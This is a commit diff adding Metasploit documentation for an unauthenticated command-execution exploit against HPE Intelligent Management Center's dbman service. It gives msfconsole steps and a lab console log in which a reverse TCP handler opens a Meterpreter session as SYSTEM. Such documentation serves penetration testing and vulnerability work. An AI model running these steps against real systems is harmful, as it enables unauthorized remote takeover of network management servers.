Add documentation

2018-01-06 05:08:33 +00:00 · 2018-01-06 05:08:33 +00:00 · 9ec17bdd54
parent 52a5fc9e0a
commit 9ec17bdd54
1 changed files with 59 additions and 0 deletions
--- a/documentation/modules/exploit/windows/misc/hp_imc_dbman_restartdb_unauth_rce.md
+++ b/documentation/modules/exploit/windows/misc/hp_imc_dbman_restartdb_unauth_rce.md
@ -0,0 +1,59 @@
+## Description
+
+  This module exploits a remote command execution vulnerablity in Hewlett Packard Enterprise Intelligent Management Center before version 7.3 E0504P04.
+
+  The dbman service allows unauthenticated remote users to restart a user-specified database instance (OpCode 10008), however the instance ID is not sanitized, allowing execution of arbitrary operating system commands as SYSTEM. This service listens on TCP port 2810 by default.
+
+
+## Vulnerable Application
+
+  [HPE Intelligent Management Center Enterprise Software Platform](https://www.hpe.com/au/en/product-catalog/networking/intelligent-management-software/pip.hp-intelligent-management-center-enterprise-software-platform.4176520.html) is a comprehensive wired and wireless network management tool.
+
+  This module has been tested successfully on:
+
+  * iMC PLAT v7.2 (E0403) on Windows 7 SP1 (EN).
+
+  Installer:
+
+  * [iMC PLAT v7.2 (E0403) Standard](https://h10145.www1.hpe.com/Downloads/DownloadSoftware.aspx?SoftwareReleaseUId=16759&ProductNumber=JG747AAE&lang=en&cc=us&prodSeriesId=4176535&SaidNumber=)
+
+
+## Verification Steps
+
+  1. Start `msfconsole`
+  2. Do: `use exploit/windows/misc/hp_imc_dbman_restartdb_unauth_rce`
+  3. Do: `set RHOST <IP>`
+  4. Do: `run`
+  5. You should get a session
+
+
+## Scenarios
+
+  ```
+  msf > use exploit/windows/misc/hp_imc_dbman_restartdb_unauth_rce 
+  msf exploit(windows/misc/hp_imc_dbman_restartdb_unauth_rce) > set rhost 172.16.191.166
+  rhost => 172.16.191.166
+  msf exploit(windows/misc/hp_imc_dbman_restartdb_unauth_rce) > check
+  [*] 172.16.191.166:2810 The target service is running, but could not be validated.
+  msf exploit(windows/misc/hp_imc_dbman_restartdb_unauth_rce) > set verbose true
+  verbose => true
+  msf exploit(windows/misc/hp_imc_dbman_restartdb_unauth_rce) > run
+
+  [*] Started reverse TCP handler on 172.16.191.181:4444 
+  [*] 172.16.191.166:2810 - Powershell command length: 6091
+  [*] 172.16.191.166:2810 - Sending payload (6091 bytes)...
+  [*] Sending stage (179779 bytes) to 172.16.191.166
+  [*] Meterpreter session 1 opened (172.16.191.181:4444 -> 172.16.191.166:55316) at 2018-01-05 03:23:55 -0500
+
+  meterpreter > getuid
+  Server username: NT AUTHORITY\SYSTEM
+  meterpreter > sysinfo
+  Computer        : WIN-SGBSD5TQUTQ
+  OS              : Windows 7 (Build 7601, Service Pack 1).
+  Architecture    : x64
+  System Language : en_US
+  Domain          : WORKGROUP
+  Logged On Users : 3
+  Meterpreter     : x86/windows
+  ```
+